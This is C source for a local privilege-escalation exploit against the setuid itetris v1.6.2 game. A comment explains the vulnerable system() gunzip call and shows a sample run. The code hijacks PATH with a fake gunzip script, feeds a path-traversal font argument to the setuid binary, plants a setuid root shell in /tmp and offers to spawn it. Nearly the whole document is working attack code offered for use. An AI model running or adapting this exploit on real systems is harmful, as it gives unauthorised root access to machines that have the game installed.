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- /* (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. this will
- give you root on systems that have the itetris game installed. the program
- is installed setuid(0)/root due to svgalib. this exploits a system() call
- mixed with bad ../ protection, which makes this possible -- considering it
- needs a font file to end with ".gz" to run gunzip.
-
- explaination(egafont.c):
- ---------------------------------------------------------------------------
- [199/360]:char *FontPath, *FontPath1;
- ...
- [237/360]:unzipped = strcasecmp(FontPath+fontheight-3, ".gz");
- ...
- [246/360]:sprintf(FontPath1, "gunzip -c %s > %s", FontPath, tmp_file_name);
- [247/360]:system(FontPath1);
- ---------------------------------------------------------------------------
-
- example:
- ---------------------------------------------------------------------------
- # cc xitetris.c -o xitetris
- # ./xitetris
- [ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. ]
- [*] checking /usr/local/bin/itetris for proper file permissions.
- [*] done, /usr/local/bin/itetris appears to be setuid.
- [*] done, making temporary files.
- [*] done, setting up environment variable(s).
- [*] done, launching /usr/local/bin/itetris. (the screen may blink locally)
- [*] done, cleaning up temporary files.
- [*] done, checking /tmp/rootsh for proper file permissions.
- [*] success! /tmp/rootsh appears to be set*id.
- [?] do you wish to enter the rootshell now(y/n)?: y
- [*] ok, executing rootshell(/tmp/rootsh) now.
- #
- ---------------------------------------------------------------------------
- */
- #define PATH "/usr/local/bin/itetris" // path to itetris.
- #define APPENDPATH "/tmp" // tmp dir to use.
- #define EXECFILE "gunzip" // don't change this.
- #define FAKEFILE "xitetris.gz" // must end with .gz.
- #define SUIDSHELL "/tmp/rootsh" // root shell location.
- #include <stdio.h>
- #include <sys/stat.h>
- main(){
- char cmd[256],tmpfile[256],fakefile[256],path[1024],input[0];
- struct stat mod1,mod2;
- FILE *suidexec,*fakegz;
- fprintf(stderr,"[ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.o"
- "rg]. ]\n");
- fprintf(stderr,"[*] checking %s for proper file permissions.\n",PATH);
- if(stat(PATH,&mod1)){
- fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
- exit(1);
- }
- else if(mod1.st_mode==35309){
- fprintf(stderr,"[*] done, %s appears to be setuid.\n",PATH);
- }
- else{
- fprintf(stderr,"[!] failed, %s doesn't appear to be setuid.\n",PATH);
- exit(1);
- }
- fprintf(stderr,"[*] done, making temporary files.\n");
- snprintf(fakefile,sizeof(fakefile),"%s/%s",APPENDPATH,FAKEFILE);
- snprintf(tmpfile,sizeof(tmpfile),"%s/%s",APPENDPATH,EXECFILE);
- unlink(fakefile);fakegz=fopen(fakefile,"w");fclose(fakegz);
- unlink(tmpfile);suidexec=fopen(tmpfile,"w");
- fprintf(suidexec,"#!/bin/sh\n");
- fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
- fprintf(suidexec,"chown 0.0 %s\n",SUIDSHELL);
- fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
- fclose(suidexec);
- chmod(tmpfile,33261);
- fprintf(stderr,"[*] done, setting up environment variable(s).\n");
- snprintf(path,sizeof(path),"%s:%s",APPENDPATH,getenv("PATH"));
- setenv("PATH",path,1);
- fprintf(stderr,"[*] done, launching %s. (the screen may blink locally)\n",
- PATH);
- sleep(1);
- snprintf(cmd,sizeof(cmd),"%s -VE -F../../../../%s/%s 1>/dev/null 2>&1",PATH,
- APPENDPATH,FAKEFILE);
- system(cmd);
- fprintf(stderr,"[*] done, cleaning up temporary files.\n");
- unlink(fakefile);unlink(tmpfile);
- fprintf(stderr,"[*] done, checking %s for proper file permissions.\n",
- SUIDSHELL);
- if(stat(SUIDSHELL,&mod2)){
- fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",SUIDSHELL);
- exit(1);
- }
- else if(mod2.st_mode==36333){
- fprintf(stderr,"[*] success! %s appears to be set*id.\n",SUIDSHELL);
- }
- else{
- fprintf(stderr,"[!] failed, %s doesn't appear to be set*id.\n",SUIDSHELL);
- exit(1);
- }
- fprintf(stderr,"[?] do you wish to enter the rootshell now(y/n)?: ");
- scanf("%s",input);
- if(input[0]!=0x59&&input[0]!=0x79){
- printf("[*] aborted, the rootshell is: %s.\n",SUIDSHELL);
- }
- else{
- printf("[*] ok, executing rootshell(%s) now.\n",SUIDSHELL);
- execl(SUIDSHELL,SUIDSHELL,0);
- }
- fprintf(stderr,"[*] exiting program successfully.\n");
- exit(0);
- }
-
-